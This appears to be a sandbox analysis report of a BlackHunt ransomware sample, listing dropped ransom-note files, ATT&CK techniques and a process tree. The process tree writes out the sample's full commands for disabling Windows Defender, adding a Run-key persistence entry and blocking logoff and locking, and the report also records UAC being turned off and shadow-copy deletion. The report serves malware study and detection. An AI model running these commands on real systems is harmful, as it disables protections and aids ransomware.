File created	C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\#BlackHunt_ReadMe.hta	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_ReadMe.txt	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_ReadMe.txt	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files (x86)\#BlackHunt_ReadMe.hta	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tr.txt	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.emf.common_2.10.1.v20140901-1043.jar	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk15\#BlackHunt_ReadMe.hta	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-io.xml	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-next-static.png	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Tucuman	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_ReadMe.hta	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\ZoneInfoMappings	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\#BlackHunt_Private.key	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#BlackHunt_ReadMe.txt	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\#BlackHunt_ReadMe.hta	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\#BlackHunt_ReadMe.hta	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\#BlackHunt_ReadMe.hta	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jayapura	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-attach.jar	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_ReadMe.txt	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\#BlackHunt_ReadMe.txt	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToScenesBackground_PAL.wmv	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\#BlackHunt_Private.key	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+3	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\UTC	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_Private.key	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-dialogs_zh_CN.jar	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\#BlackHunt_Private.key	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\#BlackHunt_ReadMe.hta	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Esl\#BlackHunt_Private.key	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-ui.jar	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-common.jar	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-application.xml	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans_1.2.200.v20140214-0004.jar	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state.nl_ja_4.4.0.v20140623020002.jar	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup-impl_ja.jar	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3252	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2272	vssadmin.exe
3528	vssadmin.exe
3696	vssadmin.exe
3900	vssadmin.exe
2092	vssadmin.exe
2016	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1660	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2884	PING.EXE

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
Token: SeRestorePrivilege	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
Token: SeBackupPrivilege	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
Token: SeTakeOwnershipPrivilege	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
Token: SeAuditPrivilege	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
Token: SeSecurityPrivilege	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
Token: SeIncBasePriorityPrivilege	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
Token: SeBackupPrivilege	3832	vssvc.exe
Token: SeRestorePrivilege	3832	vssvc.exe
Token: SeAuditPrivilege	3832	vssvc.exe
Token: SeBackupPrivilege	3340	wbengine.exe
Token: SeRestorePrivilege	3340	wbengine.exe
Token: SeSecurityPrivilege	3340	wbengine.exe
Token: SeSecurityPrivilege	3512	wevtutil.exe
Token: SeBackupPrivilege	3512	wevtutil.exe
Token: SeSecurityPrivilege	3120	wevtutil.exe
Token: SeBackupPrivilege	3120	wevtutil.exe
Token: SeSecurityPrivilege	1976	wevtutil.exe
Token: SeBackupPrivilege	1976	wevtutil.exe
Token: SeSecurityPrivilege	3136	wevtutil.exe
Token: SeBackupPrivilege	3136	wevtutil.exe
Token: SeSecurityPrivilege	3188	wevtutil.exe
Token: SeBackupPrivilege	3188	wevtutil.exe
Token: SeDebugPrivilege	1660	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 112	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	31
PID 2128 wrote to memory of 112	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	31
PID 2128 wrote to memory of 112	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	31
PID 2128 wrote to memory of 112	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	31
PID 2128 wrote to memory of 2084	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	30
PID 2128 wrote to memory of 2084	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	30
PID 2128 wrote to memory of 2084	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	30
PID 2128 wrote to memory of 2084	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	30
PID 112 wrote to memory of 2408	112	cmd.exe	34
PID 112 wrote to memory of 2408	112	cmd.exe	34
PID 112 wrote to memory of 2408	112	cmd.exe	34
PID 2128 wrote to memory of 2708	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	33
PID 2128 wrote to memory of 2708	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	33
PID 2128 wrote to memory of 2708	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	33
PID 2128 wrote to memory of 2708	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	33
PID 2084 wrote to memory of 2816	2084	cmd.exe	38
PID 2084 wrote to memory of 2816	2084	cmd.exe	38
PID 2084 wrote to memory of 2816	2084	cmd.exe	38
PID 2128 wrote to memory of 2820	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	37
PID 2128 wrote to memory of 2820	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	37
PID 2128 wrote to memory of 2820	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	37
PID 2128 wrote to memory of 2820	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	37
PID 2128 wrote to memory of 2812	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	46
PID 2128 wrote to memory of 2812	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	46
PID 2128 wrote to memory of 2812	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	46
PID 2128 wrote to memory of 2812	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	46
PID 2128 wrote to memory of 2036	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	39
PID 2128 wrote to memory of 2036	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	39
PID 2128 wrote to memory of 2036	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	39
PID 2128 wrote to memory of 2036	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	39
PID 2128 wrote to memory of 2716	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	41
PID 2128 wrote to memory of 2716	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	41
PID 2128 wrote to memory of 2716	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	41
PID 2128 wrote to memory of 2716	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	41
PID 2708 wrote to memory of 2876	2708	cmd.exe	43
PID 2708 wrote to memory of 2876	2708	cmd.exe	43
PID 2708 wrote to memory of 2876	2708	cmd.exe	43
PID 2128 wrote to memory of 2636	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	42
PID 2128 wrote to memory of 2636	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	42
PID 2128 wrote to memory of 2636	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	42
PID 2128 wrote to memory of 2636	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	42
PID 2820 wrote to memory of 2872	2820	cmd.exe	45
PID 2820 wrote to memory of 2872	2820	cmd.exe	45
PID 2820 wrote to memory of 2872	2820	cmd.exe	45
PID 2128 wrote to memory of 2628	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	53
PID 2128 wrote to memory of 2628	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	53
PID 2128 wrote to memory of 2628	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	53
PID 2128 wrote to memory of 2628	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	53
PID 2128 wrote to memory of 2512	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	47
PID 2128 wrote to memory of 2512	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	47
PID 2128 wrote to memory of 2512	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	47
PID 2128 wrote to memory of 2512	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	47
PID 2128 wrote to memory of 2844	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	49
PID 2128 wrote to memory of 2844	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	49
PID 2128 wrote to memory of 2844	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	49
PID 2128 wrote to memory of 2844	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	49
PID 2812 wrote to memory of 2644	2812	cmd.exe	50
PID 2812 wrote to memory of 2644	2812	cmd.exe	50
PID 2812 wrote to memory of 2644	2812	cmd.exe	50
PID 2128 wrote to memory of 2168	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	54
PID 2128 wrote to memory of 2168	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	54
PID 2128 wrote to memory of 2168	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	54
PID 2128 wrote to memory of 2168	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	54
PID 2128 wrote to memory of 2664	2128	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
"C:\Users\Admin\AppData\Local\Temp\f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2084
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    PID:1880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2168
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1320
